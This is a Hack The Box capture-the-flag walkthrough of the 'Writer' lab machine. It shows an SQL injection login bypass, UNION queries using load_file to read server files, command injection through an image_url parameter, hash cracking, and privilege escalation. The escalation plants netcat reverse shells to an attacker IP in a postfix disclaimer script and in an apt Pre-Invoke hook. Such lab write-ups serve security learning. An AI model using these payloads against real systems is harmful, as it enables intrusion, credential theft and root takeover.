Home Hack The Box Writeup - Writer
Post
Cancel

Hack The Box Writeup - Writer

Port - Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ rustscan -a 10.129.242.5 -- -sC -sV -oN port_scan


PORT    STATE SERVICE     REASON  VERSION                                                                                                                                                    
22/tcp  open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                                               
| ssh-hostkey:                                                                                                                                                                               
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)                                                                                                                               
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwAA7IblnSMXNfqjkkoT+PAk2SPYBRL5gy0K0FQ2XbFGuPk6ImjJLrb0BF6qw3hU/I2V9ARRnn2SvHlz1+lLB0Ie9wkvH1gZfnUBd5X2sOS3vCzYJOBoD+yzJat40YmKx3NLjYCzkMd/KyTGGIH0c
dlnROO6eJdnJN1QYMsrM4+QkkrQHtgz5KAk/aE18+1e5toWK1Px+KtVjvPWiD7mTb4J99f79L/5CCI9nUfmjeB8EU9qe3igUQ3zCGVFGUNTA9Vva99kh3SC6YjBe8+9ipFSZFVSqaJoJpZF83Oy2BEPWEb6lgo3cx7FwGH24nT833Y4Urk294/5ym8F3J
Fxo/FCgtjuYwp5Im1j9oVOGSnECKfC785zZiSu+ubdnxDjvbuRgW34DsKZpbtVvwxs8R/VNE3bSldVLmz5gCwP0Dfaop+Tbn7MW8OJWL6hEQqNiLw3cSBpzPId/EIMO7TMfqVXTfkMtD1yiIlafd3ianGLu+VUpJ3Bg8jk/COUOHj/M=             
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)                                                                                                                              
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD+ZKRtm6JRYjPO1v8n2nR/cGDBj0Oaydm1VE6rUnvyI6bxfnPCaRjvxDrV3eW5rRXbK/ybC0k5WHtQ9iWogmAU=                           
|   256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)                                                                                                                            
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBaCZ4ALrn0m103XaA+e+YPrTO2f1hK8mAD5kUxJ7O9L                                                                                                           
80/tcp  open  http        syn-ack Apache httpd 2.4.41 ((Ubuntu))                                                                                                                             
| http-methods:                                                                                                                                                                              
|_  Supported Methods: OPTIONS GET HEAD                                                                                                                                                      
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                                                                                 
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn syn-ack Samba smbd 4.6.2
445/tcp open  netbios-ssn syn-ack Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  

We get back the following result showing that three ports are open:

  • Port 22: OpenSSH 8.2p1
  • Port 80: Apache 2.4.41
  • Port 139/445: Samba 4.6.2

Port 80

Looking at the website, we see some kind of blog called Story Bank. The website itself does not have any functionalities thus we have to search for hidden files/directories to proceed further.

For this I used feroxbuster and the wordlist directory-list-2.3-medium.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ feroxbuster -u http://10.129.247.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

200       75l      320w     3522c http://10.129.247.47/about                                                                                                                                 
200      110l      347w     4905c http://10.129.247.47/contact                                                                                                                               
301        9l       28w      315c http://10.129.247.47/static                                                                                                                                
301        9l       28w      320c http://10.129.247.47/static/blog                                                                                                                           
301        9l       28w      319c http://10.129.247.47/static/img                                                                                                                            
301        9l       28w      319c http://10.129.247.47/static/css                                                                                                                            
301        9l       28w      324c http://10.129.247.47/static/blog/css                                                                                                                       
301        9l       28w      318c http://10.129.247.47/static/js                                                                                                                             
302        4l       24w      208c http://10.129.247.47/logout                                                                                                                                
301        9l       28w      326c http://10.129.247.47/static/components
301        9l       28w      323c http://10.129.247.47/static/blog/js
301        9l       28w      322c http://10.129.247.47/static/vendor
302        4l       24w      208c http://10.129.247.47/dashboard
301        9l       28w      326c http://10.129.247.47/static/blog/fonts
301        9l       28w      333c http://10.129.247.47/static/components/navbar
301        9l       28w      334c http://10.129.247.47/static/components/sidebar
301        9l       28w      320c http://10.129.247.47/static/font
200       35l       99w     1443c http://10.129.247.47/administrative
301        9l       28w      332c http://10.129.247.47/static/vendor/bootstrap
301        9l       28w      336c http://10.129.247.47/static/vendor/bootstrap/css
301        9l       28w      335c http://10.129.247.47/static/vendor/bootstrap/js
301        9l       28w      329c http://10.129.247.47/static/vendor/jquery

We see many interesting files and directories but the path administrative stands out as it results in status code 200, meaning that we can access it.

The adminsitrative page appears to be a login page to some kind of dashboard/application. As we dont have any valid credentials I started entering the default ones such as admin:admin, root:root etc, but without success. The next step before bruteforcing the credentials was to test for SQL Injection. By simply entering a ' in both fields resulted in weird behaviour. So this was a good sign. I then continued with this approach and tried to login with the following SQLI Payload:

1
' or 1=1;-- -

And it worked. We are in!

Dashboard

My first assumption was correct. It’s a login to some kind of dashboard with several functionalities. The dashboard itself presents us some traffic and story analaysis (probably to monitor the blog we have seen on the main page). However, it does not provide us any useful information that can be used to proceed further.

Users

We also get an overview of all available users. As only admin exists and we already have access to this user, this is probably of no further use.

Settings

Furthermore, we have access to the settings of the website. However, it seems like nothing meaningful can be changed which would somehow help us in gaining access to the system.

Stories

Now this seems interesting. There is a list with all the posted stories on the main page. We can eddit them and even change the content and the story image. Image upload…. that seems suspcious. However, as we dont really know what’s happening we cannot proceed here.

Since we have a working SQL Injection in the login page, we can try leak some more information such as passwords, users, other interesting data or even advance the exploit to leak some files.

SQL Injection

First, we have to check if we have some point, where we can leak data. To test for this, we first have to find out how many colums there are in our current table to successfully append a UNION SELECT statement. We simply add column after column and hope for a response (we could also determine the number of columns with the ORDER BY technique).

Finally, we see that value 1 is displayed on the website:

Now we can proceed with the exfiltration of the stored data:

1) Find the table names

1
uname=test' UNION SELECT 0,group_concat(table_name, "\n"),2,3,4,5 from information_schema.tables ;--&password=test

2) Find the column names of the table users

3) Leak the password of the user admin

Password-hash: 118e48794631a9612484ca8b55f622d0 …. We can try to crack this with hashcat …. Unfortunately even with the wordlist “rockyout.txt” and several rules, we cannot crack it. We need another approach …

Leaking files

As I’ve already stated previously, SQL Injection can also be used to leak files of the host system. To do so, we can use the sql command LOAD_FILE(STRING) (“MySQL LOAD_FILE() reads the file and returns the file contents as a string.” (https://www.w3resource.com/mysql/string-functions/mysql-load_file-function.php))

All we have to do is to replace the value 1 with somelike like load_file('/etc/passwd') and it will be displayed on the website. Here is the proof that this works:

Afterwards, we can dig deeper into the system and determine where the files for the web app are located (after testing for the standard ones like /var/www/html etc). As we know that this is hosted via an Apache2 server, we can check out the apache default configs:

1
uname=test' UNION SELECT 0,load_file('/etc/apache2/sites-enabled/000-default.conf'),2,3,4,5 from site;--&password=test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Welcome # Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Here we can see that there is a WSGIScript located at /var/www/writer.htb/writer.wsgi which is the root of the web application. So let’s leak it:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,&#34;/var/www/writer.htb/&#34;)

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get(&#34;SECRET_KEY&#34;, &#34;&#34;)

Here we get the additional information that there is a file called __init__.py in the app (=writer) directory.

We again use the SQL Injection to also leak this file:

1
uname=test' UNION SELECT 0,load_file('/var/www/writer.htb/writer/__init__.py'),2,3,4,5 from site;--&password=test

Uffff … the file is huge!! Let’s break it down to its most important parts:

Top level routes

Here we see the top level routes that handle the visible functionality of the application such as the blog and the stories. However, it’s of no big interest for us as everything seems to be fine with the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
        return connector
    except mysql.connector.Error as err:
        if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
            return ("Something is wrong with your db user name or password!")
        elif err.errno == errorcode.ER_BAD_DB_ERROR:
            return ("Database does not exist")
        else:
            return ("Another exception, returning!")
    else:
        print ('Connection to DB is ready!')

#Define homepage
@app.route('/')
def home_page():
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('blog/blog.html', results=results)

#Define about page
@app.route('/about')
def about():
    return render_template('blog/about.html')

#Define contact page
@app.route('/contact')
def contact():
    return render_template('blog/contact.html')

#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
    results = cursor.fetchall()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template('blog/blog-single.html', results=results, stories=stories)

#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
    if not ('user' in session):
        return redirect('/')
    return render_template('dashboard.html')

#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "Select * From stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('stories.html', results=results)

dashboard/stories/add

The next part is the code for adding new stories. Here it gets more interesting as we have some system command execution in there. We can even control parts of it. So this is definitely the way to the system access!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')

dashboard/stories/edit

Editing the stories is quite similar to adding a story. It’s basically the same code with minor differences.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
                cursor = connector.cursor()
                cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                result = connector.commit()
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                        cursor = connector.cursor()
                        cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('edit.html', error=error, results=results, id=id)
                except:
                    error = "Issue uploading picture"
                    return render_template('edit.html', error=error, results=results, id=id)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')

    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('edit.html', results=results, id=id)

Initial Foothold

So let’s conclude our findings: When adding or editing a story, it first uploads the image with a provided image_name and afterwards executes os.system with a parameter “image_url” of the uploaded image without sanitization. And even though this command is surrounded by mv and .jpg, we can clearly break out from that using a neat trick.

Backticks in a shell: Text between backticks is executed and replaced by the output of the command (minus the trailing newline characters, and beware that shell behaviors vary when there are NUL characters in the output). That is called command substitution because it is substituted with the output of the command***

Here’s a PoC on the local machine using a python interactive shell:

1
2
3
4
5
6
7
>>> local_filename, headers = urllib.request.urlretrieve("file:///home/kali/HTB/machines/writer/1.jpg; `touch proof.txt`;")
>>> os.system("mv {} {}.jpg".format(local_filename, local_filename))
mv: missing destination file operand after '/home/kali/HTB/machines/writer/1.jpg'
Try 'mv --help' for more information.
sh: 1: /home/kali/HTB/machines/writer/1.jpg: not found
sh: 1: .jpg: not found
32512

Although we get some error, it still executes the provided payload:

1
2
3
┌──(kali㉿kali)-[~/HTB/machines/writer/Writer]
└─$ ls -la 
-rw-r--r-- 1 kali kali       0 Oct 29 11:06  proof.txt

So on the real system, now we just have to upload a file that contains a reverse shell payload and at the same time provide the filepath to that new file in the image_url part. Here, the payload is base64 encoded to prevent encoding problems.

And we got the inital foothold!

Privilege Escalation - User kyle

Looking through the system, we find some database config files:

1
2
3
4
5
6
7
8
9
10
11
www-data@writer:/etc/mysql$ ls -la
total 32
drwxr-xr-x   4 root root 4096 Jul  9 10:59 .
drwxr-xr-x 102 root root 4096 Jul 28 06:32 ..
drwxr-xr-x   2 root root 4096 May 18 15:51 conf.d
-rwxr-xr-x   1 root root 1620 May  9 18:20 debian-start
-rw-------   1 root root  261 May 18 15:51 debian.cnf
-rw-r--r--   1 root root  972 May 19 12:34 mariadb.cnf
drwxr-xr-x   2 root root 4096 May 18 15:51 mariadb.conf.d
lrwxrwxrwx   1 root root   24 May 18 15:51 my.cnf -> /etc/alternatives/my.cnf
-rw-r--r--   1 root root  839 Aug  3  2016 my.cnf.fallback

The mariadb.cnf file contains some interesting information:

1
2
3
4
5
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

We can use these credentials to the locally running database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@writer:/etc/mysql$ mysql -u djangouser -pDjangoSuperPassword


MariaDB [dev]> show databases; 
+--------------------+
| Database           |
+--------------------+
| dev                |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [dev]> use dev
Database changed
MariaDB [dev]> show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+

MariaDB [dev]> select password, username, email from auth_user; 
+------------------------------------------------------------------------------------------+----------+-----------------+
| password                                                                                 | username | email           |
+------------------------------------------------------------------------------------------+----------+-----------------+
| pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | kyle     | kyle@writer.htb |
+------------------------------------------------------------------------------------------+----------+-----------------+

Great! A password hash of the user kyle…. let’s try to crack it with hashcat!

1
2
3
└─$ hashcat -m 10000 kyle_hash.txt /usr/share/wordlists/rockyou.txt

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

It found a match! kyle:marcoantonio. Let’s try to use these credentials for system user kyle.

1
2
3
4
5
www-data@writer:/etc/mysql$ su kyle
Password: <marcoantonio>
kyle@writer:/etc/mysql$ hostname && id
writer
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

Perfect! We are now user kyle :)

Privilege Escalation - User john

Searching for files that belong kyle’s group filter, reveals following file:

1
2
kyle@writer:~$ find / -group filter -type f 2>/dev/null
/etc/postfix/disclaimer

According to this article there are some issues that come with that file.

Now the problem with this script is that it doesn’t distinguish between incoming and outgoing emails - it simply adds a disclaimer to all mails. Typically you want disclaimers only for outgoing emails, and even then not for all sender addresses. Right now, we create the file /etc/postfix/disclaimer_addresses which holds all sender email addresses (one per line) for which alterMIME should add a disclaimer

Interesting. So we can check if the email of our current user kyle is included in this list.

1
2
3
kyle@writer:/etc/postfix$ cat disclaimer_addresses 
root@writer.htb
kyle@writer.htb

Perfect!

Next we need the text file /etc/postfix/disclaimer.txt which holds our disclaimer text. Debian’s alterMIME package comes with a sample text that we can use for now

Alright. Let’s look at that file:

1
2
3
4
5
6
7
8
9
10
kyle@writer:/etc/postfix$ cat disclaimer.txt 

--
This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately
by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. If you are not the intended recipient you are notified
that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited.

Writer.HTB

Awesome! We also got full access to that file. So let’s modify it to contain a reverse shell payload and then send a mail. The problem here is that we have to be fast, as there is a cronjob running that keeps resetting this file. So instead of doing it manually I wrote a short script for that:

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ cat send_mail.py                              
import smtplib

message = '''
        Subject: test

        test.
        '''

s = smtplib.SMTP('127.0.0.1',25)
s.ehlo()
s.sendmail('kyle@writer.htb', 'john@writer.htb', message)
s.quit()

This script basically just sends a mail from kyle to john. The disclaimer will then be appended to this mail automatically.

I’ve done the following configurations to the disclaimer file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
kyle@writer:~$ cat dc 
#!/bin/sh
# Localize these.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f

INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

To start the exploit, we execute the following command which overwrites the disclaimer with our malicious disclaimer and executes the email-script:

1
kyle@writer:~$ cp dc /etc/postfix/disclaimer && python3 send_mail.py

It worked! We got a reverse shell! Luckily the user john also has some ssh key in his home directory which we can use to connect to the machine via SSH (just in case we want a more stable shell).

Privilege Escalation - Root

When I ran the id command, I realized that this user also is part of a non-default group called management. As with the user kyle the group permissions already helped us with the privilege escalation, so I immedtiately checked the permissions of the group management and we found something very interesting! We have full permissions for the apt.conf.d directory (RWX).

1
2
3
4
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d

If we can somehow trigger a system update, this is an easy way to become root. I immedtiately checked the running processes and was happy. There was a running cronjob that executed apt-get update which depends on the files located in apt.conf.d.

1
2
3
root      176436  0.0  0.0   8356  3380 ?        S    18:28   0:00 /usr/sbin/CRON -f                                                                                                         
root      176447  0.0  0.0   2608   540 ?        Ss   18:28   0:00 /bin/sh -c /usr/bin/apt-get update
root      176450  0.1  0.2  16204  8796 ?        S    18:28   0:00 /usr/bin/apt-get update
1
drwxrwxr-x   2 root management 4096 Jul 28 09:24 apt.conf.d

With following payload we can trick the apt-get update into executing the payload for us as it tries to eveluate the configuration. As it is running as root, the reverse shell code is also executed as root:

1
john@writer:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.14.16 5555 >/tmp/a"};' > test

Thus resulting in root access to the machine!

This post is licensed under CC BY 4.0 by the author.